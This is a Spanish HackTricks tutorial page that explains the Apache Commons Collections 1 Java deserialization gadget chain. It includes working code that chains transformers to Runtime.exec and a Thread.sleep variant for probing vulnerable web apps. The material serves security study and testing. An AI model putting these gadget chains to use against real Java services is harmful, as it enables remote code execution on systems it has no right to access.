CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep

Reading time: 6 minutes

tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Apoya a HackTricks

Java Transformers to Rutime exec()

En varios lugares puedes encontrar una carga útil de deserialización de Java que utiliza transformadores de las colecciones comunes de Apache, como la siguiente:

java
import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.util.Map;
import java.util.HashMap;

public class CommonsCollections1PayloadOnly {
public static void main(String... args) {
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), //(1)
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
), //(2)
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
), //(3)
new InvokerTransformer("exec",
new Class[]{String.class},
command
) //(4)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);

//Execute gadgets
lazyMap.get("anything");
}
}

Si no sabes nada sobre los payloads de deserialización en Java, podría ser difícil entender por qué este código ejecutará un calc.

Primero que nada, necesitas saber que un Transformer en Java es algo que recibe una clase y la transforma en otra diferente.
También es interesante saber que el payload que está siendo ejecutado aquí es equivalente a:

java
Runtime.getRuntime().exec(new String[]{"calc.exe"});

O más exactamente, lo que se va a ejecutar al final sería:

java
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});

Cómo

Entonces, ¿cómo se presenta la primera carga útil equivalente a esas "simples" líneas de código?

Primero que nada, puedes notar en la carga útil que se crea una cadena (array) de transformaciones:

java
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
//(1) - Get gadget Class (from Runtime class)
new ConstantTransformer(Runtime.class),

//(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),

//(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime oject
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),

//(4) - Use the Runtime object to call exec with arbitrary commands
new InvokerTransformer("exec",
new Class[]{String.class},
command
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Si lees el código, notarás que si de alguna manera encadenas la transformación del array, podrías ejecutar comandos arbitrarios.

Entonces, ¿cómo se encadenan esas transformaciones?

java
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
lazyMap.get("anything");

En la última sección de la carga útil, puedes ver que se crea un objeto Map. Luego, se ejecuta la función decorate de LazyMap con el objeto map y los transformadores encadenados. En el siguiente código, puedes ver que esto hará que los transformadores encadenados se copien dentro del atributo lazyMap.factory:

java
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}

Y luego se ejecuta el gran final: lazyMap.get("anything");

Este es el código de la función get:

java
public Object get(Object key) {
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

Y este es el código de la función transform

java
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

Así que, recuerda que dentro de factory habíamos guardado chainedTransformer y dentro de la función transform estamos recorriendo todos esos transformers encadenados y ejecutando uno tras otro. Lo curioso es que cada transformer está usando object como entrada y object es la salida del último transformer ejecutado. Por lo tanto, todas las transformaciones están encadenadas ejecutando la carga útil maliciosa.

Resumen

Al final, debido a cómo lazyMap está gestionando los transformers encadenados dentro del método get, es como si estuviéramos ejecutando el siguiente código:

java
Object value = "someting";

value = new ConstantTransformer(Runtime.class).transform(value); //(1)

value = new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", null}
).transform(value); //(2)

value = new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
).transform(value); //(3)

value = new InvokerTransformer("exec",
new Class[]{String.class},
command
).transform(value); //(4)

Tenga en cuenta cómo value es la entrada de cada transformación y la salida de la transformación anterior, lo que permite la ejecución de una línea:

java
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});

Note que aquí se explicaron los gadgets utilizados para el payload de ComonsCollections1. Pero se deja cómo todo esto comienza a ejecutarse. Puedes ver aquí que ysoserial, para ejecutar este payload, utiliza un objeto AnnotationInvocationHandler porque cuando este objeto se deserializa, invocará la función payload.get() que ejecutará todo el payload.

Java Thread Sleep

Este payload podría ser útil para identificar si la web es vulnerable ya que ejecutará un sleep si lo es.

java
import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Map;
import java.util.HashMap;

public class CommonsCollections1Sleep {
public static void main(String... args) {
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Thread.class),
new InvokerTransformer("getMethod",
new Class[]{
String.class, Class[].class
},
new Object[]{
"sleep", new Class[]{Long.TYPE}
}),
new InvokerTransformer("invoke",
new Class[]{
Object.class, Object[].class
}, new Object[]
{
null, new Object[] {7000L}
}),
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);

//Execute gadgets
lazyMap.get("anything");

}
}

Más Gadgets

Puedes encontrar más gadgets aquí: https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html

tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Apoya a HackTricks